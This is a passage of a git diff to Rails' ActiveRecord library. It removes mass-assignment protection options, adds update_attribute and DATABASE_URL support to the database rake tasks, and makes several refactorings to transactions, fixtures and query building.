stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index 5f157fde6d..0637dd58b6 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -195,4 +195,7 @@ module ActiveRecord
class ImmutableRelation < ActiveRecordError
end
+
+ class TransactionIsolationError < ActiveRecordError
+ end
end
diff --git a/activerecord/lib/active_record/explain_subscriber.rb b/activerecord/lib/active_record/explain_subscriber.rb
index d5ba343b4c..0f927496fb 100644
--- a/activerecord/lib/active_record/explain_subscriber.rb
+++ b/activerecord/lib/active_record/explain_subscriber.rb
@@ -18,8 +18,9 @@ module ActiveRecord
# On the other hand, we want to monitor the performance of our real database
# queries, not the performance of the access to the query cache.
IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN CACHE)
+ EXPLAINED_SQLS = /\A\s*(select|update|delete|insert)/i
def ignore_payload?(payload)
- payload[:exception] || IGNORED_PAYLOADS.include?(payload[:name])
+ payload[:exception] || IGNORED_PAYLOADS.include?(payload[:name]) || payload[:sql] !~ EXPLAINED_SQLS
end
ActiveSupport::Notifications.subscribe("sql.active_record", new)
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index e19ff5edd2..60fc653735 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -843,9 +843,7 @@ module ActiveRecord
end
@fixture_connections = enlist_fixture_connections
@fixture_connections.each do |connection|
- connection.increment_open_transactions
- connection.transaction_joinable = false
- connection.begin_db_transaction
+ connection.begin_transaction joinable: false
end
# Load fixtures for every test.
else
@@ -868,10 +866,7 @@ module ActiveRecord
# Rollback changes if a transaction is active.
if run_in_transaction?
@fixture_connections.each do |connection|
- if connection.open_transactions != 0
- connection.rollback_db_transaction
- connection.decrement_open_transactions
- end
+ connection.rollback_transaction if connection.transaction_open?
end
@fixture_connections.clear
end
@@ -879,7 +874,7 @@ module ActiveRecord
end
def enlist_fixture_connections
- ActiveRecord::Base.connection_handler.connection_pools.values.map(&:connection)
+ ActiveRecord::Base.connection_handler.connection_pools.map(&:connection)
end
private
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
index 04fff99a6e..35273b0d81 100644
--- a/activerecord/lib/active_record/inheritance.rb
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -50,7 +50,7 @@ module ActiveRecord
# If B < A and C < B and if A is an abstract_class then both B.base_class
# and C.base_class would return B as the answer since A is an abstract_class.
def base_class
- unless self < Model::Tag
+ unless self < ActiveRecord::Tag
raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
end
@@ -73,7 +73,7 @@ module ActiveRecord
# class Child < SuperClass
# self.table_name = 'the_table_i_really_want'
# end
- #
+ #
#
# <tt>self.abstract_class = true</tt> is required to make <tt>Child<.find,.create, or any Arel method></tt> use <tt>the_table_i_really_want</tt> instead of a table called <tt>super_classes</tt>
#
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index 703265c334..c1d57855a9 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -236,7 +236,7 @@ module ActiveRecord
# add_column :people, :salary, :integer
# Person.reset_column_information
# Person.all.each do |p|
- # p.update_column :salary, SalaryCalculator.compute(p)
+ # p.update_attribute :salary, SalaryCalculator.compute(p)
# end
# end
# end
@@ -256,7 +256,7 @@ module ActiveRecord
# ...
# say_with_time "Updating salaries..." do
# Person.all.each do |p|
- # p.update_column :salary, SalaryCalculator.compute(p)
+ # p.update_attribute :salary, SalaryCalculator.compute(p)
# end
# end
# ...
diff --git a/activerecord/lib/active_record/model.rb b/activerecord/lib/active_record/model.rb
index 57553c29eb..16d9d404e3 100644
--- a/activerecord/lib/active_record/model.rb
+++ b/activerecord/lib/active_record/model.rb
@@ -26,21 +26,21 @@ module ActiveRecord
end
end
- # <tt>ActiveRecord::Model</tt> can be included into a class to add Active Record persistence.
- # This is an alternative to inheriting from <tt>ActiveRecord::Base</tt>. Example:
+ # This allows us to detect an ActiveRecord::Model while it's in the process of
+ # being included.
+ module Tag; end
+
+ # <tt>ActiveRecord::Model</tt> can be included into a class to add Active Record
+ # persistence. This is an alternative to inheriting from <tt>ActiveRecord::Base</tt>.
#
# class Post
# include ActiveRecord::Model
# end
- #
module Model
extend ActiveSupport::Concern
extend ConnectionHandling
extend ActiveModel::Observing::ClassMethods
- # This allows us to detect an ActiveRecord::Model while it's in the process of being included.
- module Tag; end
-
def self.append_features(base)
base.class_eval do
include Tag
@@ -101,9 +101,19 @@ module ActiveRecord
def abstract_class?
false
end
-
+
# Defines the name of the table column which will store the class name on single-table
# inheritance situations.
+ #
+ # The default inheritance column name is +type+, which means it's a
+ # reserved word inside Active Record. To be able to use single-table
+ # inheritance with another column name, or to use the column +type+ in
+ # your own model for something else, you can override this method to
+ # return a different name:
+ #
+ # def self.inheritance_column
+ # 'zoink'
+ # end
def inheritance_column
'type'
end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
index ff7c996648..99de16cd33 100644
--- a/activerecord/lib/active_record/model_schema.rb
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -225,7 +225,7 @@ module ActiveRecord
def decorate_columns(columns_hash) # :nodoc:
return if columns_hash.empty?
- serialized_attributes.keys.each do |key|
+ serialized_attributes.each_key do |key|
columns_hash[key] = AttributeMethods::Serialization::Type.new(columns_hash[key])
end
@@ -259,13 +259,12 @@ module ActiveRecord
# and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
# is available.
def column_methods_hash #:nodoc:
- @dynamic_methods_hash ||= column_names.inject(Hash.new(false)) do |methods, attr|
+ @dynamic_methods_hash ||= column_names.each_with_object(Hash.new(false)) do |attr, methods|
attr_name = attr.to_s
methods[attr.to_sym] = attr_name
methods["#{attr}=".to_sym] = attr_name
methods["#{attr}?".to_sym] = attr_name
methods["#{attr}_before_type_cast".to_sym] = attr_name
- methods
end
end
@@ -324,8 +323,7 @@ module ActiveRecord
# Guesses the table name, but does not decorate it with prefix and suffix information.
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
- table_name = table_name.pluralize if pluralize_table_names
- table_name
+ pluralize_table_names ? table_name.pluralize : table_name
end
# Computes and returns a table name according to default conventions.
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index be013a068c..2e7fb3bbb3 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -194,18 +194,6 @@ module ActiveRecord
# the parent model is saved. This happens inside the transaction initiated
# by the parents save method. See ActiveRecord::AutosaveAssociation.
#
- # === Using with attr_accessible
- #
- # The use of <tt>attr_accessible</tt> can interfere with nested attributes
- # if you're not careful. For example, if the <tt>Member</tt> model above
- # was using <tt>attr_accessible</tt> like this:
- #
- # attr_accessible :name
- #
- # You would need to modify it to look like this:
- #
- # attr_accessible :name, :posts_attributes
- #
# === Validating the presence of a parent model
#
# If you want to validate that a child record is associated with a parent
@@ -224,9 +212,7 @@ module ActiveRecord
module ClassMethods
REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |key, value| key == '_destroy' || value.blank? } }
- # Defines an attributes writer for the specified association(s). If you
- # are using <tt>attr_protected</tt> or <tt>attr_accessible</tt>, then you
- # will need to add the attribute writer to the allowed list.
+ # Defines an attributes writer for the specified association(s).
#
# Supported options:
# [:allow_destroy]
@@ -245,7 +231,8 @@ module ActiveRecord
# any value for _destroy.
# [:limit]
# Allows you to specify the maximum number of the associated records that
- # can be processed with the nested attributes. If the size of the
+ # can be processed with the nested attributes. Limit also can be specified as a
+ # Proc or a Symbol pointing to a method that should return number. If the size of the
# nested attributes array exceeds the specified limit, NestedAttributes::TooManyRecords
# exception is raised. If omitted, any number associations can be processed.
# Note that the :limit option is only applicable to one-to-many associations.
@@ -295,7 +282,7 @@ module ActiveRecord
remove_method(:#{association_name}_attributes=)
end
def #{association_name}_attributes=(attributes)
- assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes, mass_assignment_options)
+ assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
end
eoruby
else
@@ -333,21 +320,21 @@ module ActiveRecord
# If the given attributes include a matching <tt>:id</tt> attribute, or
# update_only is true, and a <tt>:_destroy</tt> key set to a truthy value,
# then the existing record will be marked for destruction.
- def assign_nested_attributes_for_one_to_one_association(association_name, attributes, assignment_opts = {})
+ def assign_nested_attributes_for_one_to_one_association(association_name, attributes)
options = self.nested_attributes_options[association_name]
attributes = attributes.with_indifferent_access
if (options[:update_only] || !attributes['id'].blank?) && (record = send(association_name)) &&
(options[:update_only] || record.id.to_s == attributes['id'].to_s)
- assign_to_or_mark_for_destruction(record, attributes, options[:allow_destroy], assignment_opts) unless call_reject_if(association_name, attributes)
+ assign_to_or_mark_for_destruction(record, attributes, options[:allow_destroy]) unless call_reject_if(association_name, attributes)
- elsif attributes['id'].present? && !assignment_opts[:without_protection]
+ elsif attributes['id'].present?
raise_nested_attributes_record_not_found(association_name, attributes['id'])
elsif !reject_new_record?(association_name, attributes)
method = "build_#{association_name}"
if respond_to?(method)
- send(method, attributes.except(*unassignable_keys(assignment_opts)), assignment_opts)
+ send(method, attributes.except(*UNASSIGNABLE_KEYS))
else
raise ArgumentError, "Cannot build association `#{association_name}'. Are you trying to build a polymorphic one-to-one association?"
end
@@ -381,15 +368,26 @@ module ActiveRecord
# { :name => 'John' },
# { :id => '2', :_destroy => true }
# ])
- def assign_nested_attributes_for_collection_association(association_name, attributes_collection, assignment_opts = {})
+ def assign_nested_attributes_for_collection_association(association_name, attributes_collection)
options = self.nested_attributes_options[association_name]
unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array)
raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
end
- if options[:limit] && attributes_collection.size > options[:limit]
- raise TooManyRecords, "Maximum #{options[:limit]} records are allowed. Got #{attributes_collection.size} records instead."
+ if limit = options[:limit]
+ limit = case limit
+ when Symbol
+ send(limit)
+ when Proc
+ limit.call
+ else
+ limit
+ end
+
+ if limit && attributes_collection.size > limit
+ raise TooManyRecords, "Maximum #{limit} records are allowed. Got #{attributes_collection.size} records instead."
+ end
end
if attributes_collection.is_a? Hash
@@ -415,7 +413,7 @@ module ActiveRecord
if attributes['id'].blank?
unless reject_new_record?(association_name, attributes)
- association.build(attributes.except(*unassignable_keys(assignment_opts)), assignment_opts)
+ association.build(attributes.except(*UNASSIGNABLE_KEYS))
end
elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes['id'].to_s }
unless association.loaded? || call_reject_if(association_name, attributes)
@@ -428,14 +426,11 @@ module ActiveRecord
else
association.add_to_target(existing_record)
end
-
end
if !call_reject_if(association_name, attributes)
- assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy], assignment_opts)
+ assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
end
- elsif assignment_opts[:without_protection]
- association.build(attributes.except(*unassignable_keys(assignment_opts)), assignment_opts)
else
raise_nested_attributes_record_not_found(association_name, attributes['id'])
end
@@ -444,8 +439,8 @@ module ActiveRecord
# Updates a record with the +attributes+ or marks it for destruction if
# +allow_destroy+ is +true+ and has_destroy_flag? returns +true+.
- def assign_to_or_mark_for_destruction(record, attributes, allow_destroy, assignment_opts)
- record.assign_attributes(attributes.except(*unassignable_keys(assignment_opts)), assignment_opts)
+ def assign_to_or_mark_for_destruction(record, attributes, allow_destroy)
+ record.assign_attributes(attributes.except(*UNASSIGNABLE_KEYS))
record.mark_for_destruction if has_destroy_flag?(attributes) && allow_destroy
end
@@ -474,9 +469,5 @@ module ActiveRecord
def raise_nested_attributes_record_not_found(association_name, record_id)
raise RecordNotFound, "Couldn't find #{self.class.reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
end
-
- def unassignable_keys(assignment_opts)
- assignment_opts[:without_protection] ? UNASSIGNABLE_KEYS - %w[id] : UNASSIGNABLE_KEYS
- end
end
end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 6b4b9bd103..2eaad1d469 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
# = Active Record Persistence
module Persistence
@@ -18,12 +17,6 @@ module ActiveRecord
# # Create a single new object
# User.create(:first_name => 'Jamie')
#
- # # Create a single new object using the :admin mass-assignment security role
- # User.create({ :first_name => 'Jamie', :is_admin => true }, :as => :admin)
- #
- # # Create a single new object bypassing mass-assignment security
- # User.create({ :first_name => 'Jamie', :is_admin => true }, :without_protection => true)
- #
# # Create an Array of new objects
# User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }])
#
@@ -36,11 +29,11 @@ module ActiveRecord
# User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }]) do |u|
# u.is_admin = false
# end
- def create(attributes = nil, options = {}, &block)
+ def create(attributes = nil, &block)
if attributes.is_a?(Array)
- attributes.collect { |attr| create(attr, options, &block) }
+ attributes.collect { |attr| create(attr, &block) }
else
- object = new(attributes, options, &block)
+ object = new(attributes, &block)
object.save
object
end
@@ -162,34 +155,44 @@ module ActiveRecord
became.instance_variable_set("@new_record", new_record?)
became.instance_variable_set("@destroyed", destroyed?)
became.instance_variable_set("@errors", errors)
- became.type = klass.name unless self.class.descends_from_active_record?
+ became.public_send("#{klass.inheritance_column}=", klass.name) unless self.class.descends_from_active_record?
became
end
+ # Updates a single attribute and saves the record.
+ # This is especially useful for boolean flags on existing records. Also note that
+ #
+ # * Validation is skipped.
+ # * Callbacks are invoked.
+ # * updated_at/updated_on column is updated if that column is available.
+ # * Updates all the attributes that are dirty in this object.
+ #
+ def update_attribute(name, value)
+ name = name.to_s
+ verify_readonly_attribute(name)
+ send("#{name}=", value)
+ save(:validate => false)
+ end
+
# Updates the attributes of the model from the passed-in hash and saves the
# record, all wrapped in a transaction. If the object is invalid, the saving
# will fail and false will be returned.
- #
- # When updating model attributes, mass-assignment security protection is respected.
- # If no +:as+ option is supplied then the +:default+ role will be used.
- # If you want to bypass the protection given by +attr_protected+ and
- # +attr_accessible+ then you can do so using the +:without_protection+ option.
- def update_attributes(attributes, options = {})
+ def update_attributes(attributes)
# The following transaction covers any possible database side-effects of the
# attributes assignment. For example, setting the IDs of a child collection.
with_transaction_returning_status do
- assign_attributes(attributes, options)
+ assign_attributes(attributes)
save
end
end
# Updates its receiver just like +update_attributes+ but calls <tt>save!</tt> instead
# of +save+, so an exception is raised if the record is invalid.
- def update_attributes!(attributes, options = {})
+ def update_attributes!(attributes)
# The following transaction covers any possible database side-effects of the
# attributes assignment. For example, setting the IDs of a child collection.
with_transaction_returning_status do
- assign_attributes(attributes, options)
+ assign_attributes(attributes)
save!
end
end
@@ -218,7 +221,7 @@ module ActiveRecord
raise ActiveRecordError, "can not update on a new record object" unless persisted?
attributes.each_key do |key|
- raise ActiveRecordError, "#{key} is marked as readonly" if self.class.readonly_attributes.include?(key.to_s)
+ verify_readonly_attribute(key.to_s)
end
attributes.each do |k,v|
@@ -242,7 +245,7 @@ module ActiveRecord
# Saving is not subjected to validation checks. Returns +true+ if the
# record could be saved.
def increment!(attribute, by = 1)
- increment(attribute, by).update_columns(attribute => self[attribute])
+ increment(attribute, by).update_attribute(attribute, self[attribute])
end
# Initializes +attribute+ to zero if +nil+ and subtracts the value passed as +by+ (default is 1).
@@ -259,7 +262,7 @@ module ActiveRecord
# Saving is not subjected to validation checks. Returns +true+ if the
# record could be saved.
def decrement!(attribute, by = 1)
- decrement(attribute, by).update_columns(attribute => self[attribute])
+ decrement(attribute, by).update_attribute(attribute, self[attribute])
end
# Assigns to +attribute+ the boolean opposite of <tt>attribute?</tt>. So
@@ -276,7 +279,7 @@ module ActiveRecord
# Saving is not subjected to validation checks. Returns +true+ if the
# record could be saved.
def toggle!(attribute)
- toggle(attribute).update_columns(attribute => self[attribute])
+ toggle(attribute).update_attribute(attribute, self[attribute])
end
# Reloads the attributes of this object from the database.
@@ -391,5 +394,9 @@ module ActiveRecord
@new_record = false
id
end
+
+ def verify_readonly_attribute(name)
+ raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name)
+ end
end
end
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index 672d9a4246..41b3386c00 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
@@ -29,8 +29,11 @@ module ActiveRecord
'ActiveRecord::RecordNotSaved' => :unprocessable_entity
)
+
config.active_record.use_schema_cache_dump = true
+ config.eager_load_namespaces << ActiveRecord
+
rake_tasks do
require "active_record/base"
load "active_record/railties/databases.rake"
@@ -68,7 +71,7 @@ module ActiveRecord
end
end
- initializer "active_record.check_schema_cache_dump" do |app|
+ initializer "active_record.check_schema_cache_dump" do
if config.active_record.delete(:use_schema_cache_dump)
config.after_initialize do |app|
ActiveSupport.on_load(:active_record) do
@@ -79,7 +82,7 @@ module ActiveRecord
if cache.version == ActiveRecord::Migrator.current_version
ActiveRecord::Model.connection.schema_cache = cache
else
- warn "schema_cache.dump is expired. Current version is #{ActiveRecord::Migrator.current_version}, but cache version is #{cache.version}."
+ warn "Ignoring db/schema_cache.dump because it has expired. The current schema version is #{ActiveRecord::Migrator.current_version}, but the one in the cache is #{cache.version}."
end
end
end
diff --git a/activerecord/lib/active_record/railties/console_sandbox.rb b/activerecord/lib/active_record/railties/console_sandbox.rb
index 65a3d68619..90b462fad6 100644
--- a/activerecord/lib/active_record/railties/console_sandbox.rb
+++ b/activerecord/lib/active_record/railties/console_sandbox.rb
@@ -1,6 +1,4 @@
-ActiveRecord::Base.connection.increment_open_transactions
ActiveRecord::Base.connection.begin_db_transaction
at_exit do
ActiveRecord::Base.connection.rollback_db_transaction
- ActiveRecord::Base.connection.decrement_open_transactions
end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 4e5ec4f739..d134978128 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -18,9 +18,13 @@ db_namespace = namespace :db do
end
end
- desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+ desc 'Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
task :create => [:load_config] do
- ActiveRecord::Tasks::DatabaseTasks.create_current
+ if ENV['DATABASE_URL']
+ ActiveRecord::Tasks::DatabaseTasks.create_database_url
+ else
+ ActiveRecord::Tasks::DatabaseTasks.create_current
+ end
end
namespace :drop do
@@ -29,9 +33,13 @@ db_namespace = namespace :db do
end
end
- desc 'Drops the database for the current Rails.env (use db:drop:all to drop all databases)'
+ desc 'Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)'
task :drop => [:load_config] do
- ActiveRecord::Tasks::DatabaseTasks.drop_current
+ if ENV['DATABASE_URL']
+ ActiveRecord::Tasks::DatabaseTasks.drop_database_url
+ else
+ ActiveRecord::Tasks::DatabaseTasks.drop_current
+ end
end
desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
@@ -88,8 +96,6 @@ db_namespace = namespace :db do
desc 'Display status of migrations'
task :status => [:environment, :load_config] do
- config = ActiveRecord::Base.configurations[Rails.env]
- ActiveRecord::Base.establish_connection(config)
unless ActiveRecord::Base.connection.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
puts 'Schema migrations table does not exist yet.'
next # means "return" for rake task
@@ -110,7 +116,7 @@ db_namespace = namespace :db do
['up', version, '********** NO FILE **********']
end
# output
- puts "\ndatabase: #{config['database']}\n\n"
+ puts "\ndatabase: #{ActiveRecord::Base.connection_config[:database]}\n\n"
puts "#{'Status'.center(8)} #{'Migration ID'.ljust(14)} Migration Name"
puts "-" * 50
(db_list + file_list).sort_by {|migration| migration[1]}.each do |migration|
@@ -186,7 +192,6 @@ db_namespace = namespace :db do
task :load => [:environment, :load_config] do
require 'active_record/fixtures'
- ActiveRecord::Base.establish_connection(Rails.env)
base_dir = File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
fixtures_dir = File.join [base_dir, ENV['FIXTURES_DIR']].compact
@@ -225,7 +230,6 @@ db_namespace = namespace :db do
require 'active_record/schema_dumper'
filename = ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb"
File.open(filename, "w:utf-8") do |file|
- ActiveRecord::Base.establish_connection(Rails.env)
ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
end
db_namespace['schema:dump'].reenable
@@ -241,7 +245,7 @@ db_namespace = namespace :db do
end
end
- task :load_if_ruby => [:environment, 'db:create'] do
+ task :load_if_ruby => ['db:create', :environment] do
db_namespace["schema:load"].invoke if ActiveRecord::Base.schema_format == :ruby
end
@@ -277,22 +281,22 @@ db_namespace = namespace :db do
desc 'Dump the database structure to db/structure.sql. Specify another file with DB_STRUCTURE=db/my_structure.sql'
task :dump => [:environment, :load_config] do
- abcs = ActiveRecord::Base.configurations
filename = ENV['DB_STRUCTURE'] || File.join(Rails.root, "db", "structure.sql")
- case abcs[Rails.env]['adapter']
+ current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
+ case current_config['adapter']
when /mysql/, /postgresql/, /sqlite/
- ActiveRecord::Tasks::DatabaseTasks.structure_dump(abcs[Rails.env], filename)
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
when 'oci', 'oracle'
- ActiveRecord::Base.establish_connection(abcs[Rails.env])
+ ActiveRecord::Base.establish_connection(current_config)
File.open(filename, "w:utf-8") { |f| f << ActiveRecord::Base.connection.structure_dump }
when 'sqlserver'
- `smoscript -s #{abcs[Rails.env]['host']} -d #{abcs[Rails.env]['database']} -u #{abcs[Rails.env]['username']} -p #{abcs[Rails.env]['password']} -f #{filename} -A -U`
+ `smoscript -s #{current_config['host']} -d #{current_config['database']} -u #{current_config['username']} -p #{current_config['password']} -f #{filename} -A -U`
when "firebird"
- set_firebird_env(abcs[Rails.env])
- db_string = firebird_db_string(abcs[Rails.env])
+ set_firebird_env(current_config)
+ db_string = firebird_db_string(current_config)
sh "isql -a #{db_string} > #{filename}"
else
- raise "Task not supported by '#{abcs[Rails.env]["adapter"]}'"
+ raise "Task not supported by '#{current_config["adapter"]}'"
end
if ActiveRecord::Base.connection.supports_migrations?
@@ -303,30 +307,28 @@ db_namespace = namespace :db do
# desc "Recreate the databases from the structure.sql file"
task :load => [:environment, :load_config] do
- env = ENV['RAILS_ENV'] || 'test'
-
- abcs = ActiveRecord::Base.configurations
+ current_config = ActiveRecord::Tasks::DatabaseTasks.current_config(:env => (ENV['RAILS_ENV'] || 'test'))
filename = ENV['DB_STRUCTURE'] || File.join(Rails.root, "db", "structure.sql")
- case abcs[env]['adapter']
+ case current_config['adapter']
when /mysql/, /postgresql/, /sqlite/
- ActiveRecord::Tasks::DatabaseTasks.structure_load(abcs[env], filename)
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(current_config, filename)
when 'sqlserver'
- `sqlcmd -S #{abcs[env]['host']} -d #{abcs[env]['database']} -U #{abcs[env]['username']} -P #{abcs[env]['password']} -i #{filename}`
+ `sqlcmd -S #{current_config['host']} -d #{current_config['database']} -U #{current_config['username']} -P #{current_config['password']} -i #{filename}`
when 'oci', 'oracle'
- ActiveRecord::Base.establish_connection(abcs[env])
+ ActiveRecord::Base.establish_connection(current_config)
IO.read(filename).split(";\n\n").each do |ddl|
ActiveRecord::Base.connection.execute(ddl)
end
when 'firebird'
- set_firebird_env(abcs[env])
- db_string = firebird_db_string(abcs[env])
+ set_firebird_env(current_config)
+ db_string = firebird_db_string(current_config)
sh "isql -i #{filename} #{db_string}"
else
- raise "Task not supported by '#{abcs[env]['adapter']}'"
+ raise "Task not supported by '#{current_config['adapter']}'"
end
end
- task :load_if_sql => [:environment, 'db:create'] do
+ task :load_if_sql => ['db:create', :environment] do
db_namespace["structure:load"].invoke if ActiveRecord::Base.schema_format == :sql
end
end
@@ -353,10 +355,10 @@ db_namespace = namespace :db do
# desc "Recreate the test database from an existent structure.sql file"
task :load_structure => 'db:test:purge' do
begin
- old_env, ENV['RAILS_ENV'] = ENV['RAILS_ENV'], 'test'
+ ActiveRecord::Tasks::DatabaseTasks.current_config(:config => ActiveRecord::Base.configurations['test'])
db_namespace["structure:load"].invoke
ensure
- ENV['RAILS_ENV'] = old_env
+ ActiveRecord::Tasks::DatabaseTasks.current_config(:config => nil)
end
end
@@ -408,21 +410,6 @@ db_namespace = namespace :db do
end
end
end
-
- namespace :sessions do
- # desc "Creates a sessions migration for use with ActiveRecord::SessionStore"
- task :create => [:environment, :load_config] do
- raise 'Task unavailable to this database (no migration support)' unless ActiveRecord::Base.connection.supports_migrations?
- Rails.application.load_generators
- require 'rails/generators/rails/session_migration/session_migration_generator'
- Rails::Generators::SessionMigrationGenerator.start [ ENV['MIGRATION'] || 'add_sessions_table' ]
- end
-
- # desc "Clear the sessions table"
- task :clear => [:environment, :load_config] do
- ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::SessionStore::Session.table_name}"
- end
- end
end
namespace :railties do
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
index 1d8c566e40..b3c20c4aff 100644
--- a/activerecord/lib/active_record/readonly_attributes.rb
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -4,7 +4,7 @@ module ActiveRecord
extend ActiveSupport::Concern
included do
- class_attribute :_attr_readonly, instance_writer: false
+ class_attribute :_attr_readonly, instance_accessor: false
self._attr_readonly = []
end
@@ -20,5 +20,10 @@ module ActiveRecord
self._attr_readonly
end
end
+
+ def _attr_readonly
+ ActiveSupport::Deprecation.warn("Instance level _attr_readonly method is deprecated, please use class level method.")
+ defined?(@_attr_readonly) ? @_attr_readonly : self.class._attr_readonly
+ end
end
end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index cf949a893f..f322b96f79 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -181,8 +181,8 @@ module ActiveRecord
# Returns a new, unsaved instance of the associated class. +options+ will
# be passed to the class's constructor.
- def build_association(*options, &block)
- klass.new(*options, &block)
+ def build_association(attributes, &block)
+ klass.new(attributes, &block)
end
def table_name
@@ -358,6 +358,10 @@ module ActiveRecord
end
end
+ def polymorphic?
+ options.key? :polymorphic
+ end
+
private
def derive_class_name
class_name = name.to_s.camelize
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index 1abbc58314..ed80422336 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -18,6 +18,7 @@ module ActiveRecord
attr_reader :table, :klass, :loaded
attr_accessor :default_scoped
+ alias :model :klass
alias :loaded? :loaded
alias :default_scoped? :default_scoped
@@ -150,22 +151,22 @@ module ActiveRecord
# user.last_name = "O'Hara"
# end
# # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'>
- def first_or_create(attributes = nil, options = {}, &block)
- first || create(attributes, options, &block)
+ def first_or_create(attributes = nil, &block)
+ first || create(attributes, &block)
end
# Like <tt>first_or_create</tt> but calls <tt>create!</tt> so an exception is raised if the created record is invalid.
#
# Expects arguments in the same format as <tt>Base.create!</tt>.
- def first_or_create!(attributes = nil, options = {}, &block)
- first || create!(attributes, options, &block)
+ def first_or_create!(attributes = nil, &block)
+ first || create!(attributes, &block)
end
# Like <tt>first_or_create</tt> but calls <tt>new</tt> instead of <tt>create</tt>.
#
# Expects arguments in the same format as <tt>Base.new</tt>.
- def first_or_initialize(attributes = nil, options = {}, &block)
- first || new(attributes, options, &block)
+ def first_or_initialize(attributes = nil, &block)
+ first || new(attributes, &block)
end
# Runs EXPLAIN on the query or queries triggered by this relation and
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index 4d14506965..28aab6d92b 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -62,7 +62,7 @@ module ActiveRecord
ActiveRecord::Base.logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
end
- start = options.delete(:start).to_i
+ start = options.delete(:start) || 0
batch_size = options.delete(:batch_size) || 1000
relation = relation.reorder(batch_order).limit(batch_size)
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index d93e7c8997..7c43d844d0 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -156,7 +156,7 @@ module ActiveRecord
def pluck(*column_names)
column_names.map! do |column_name|
if column_name.is_a?(Symbol) && self.column_names.include?(column_name.to_s)
- "#{table_name}.#{column_name}"
+ "#{connection.quote_table_name(table_name)}.#{connection.quote_column_name(column_name)}"
else
column_name
end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index cb8f903474..71030cb5d7 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,23 +1,55 @@
module ActiveRecord
class PredicateBuilder # :nodoc:
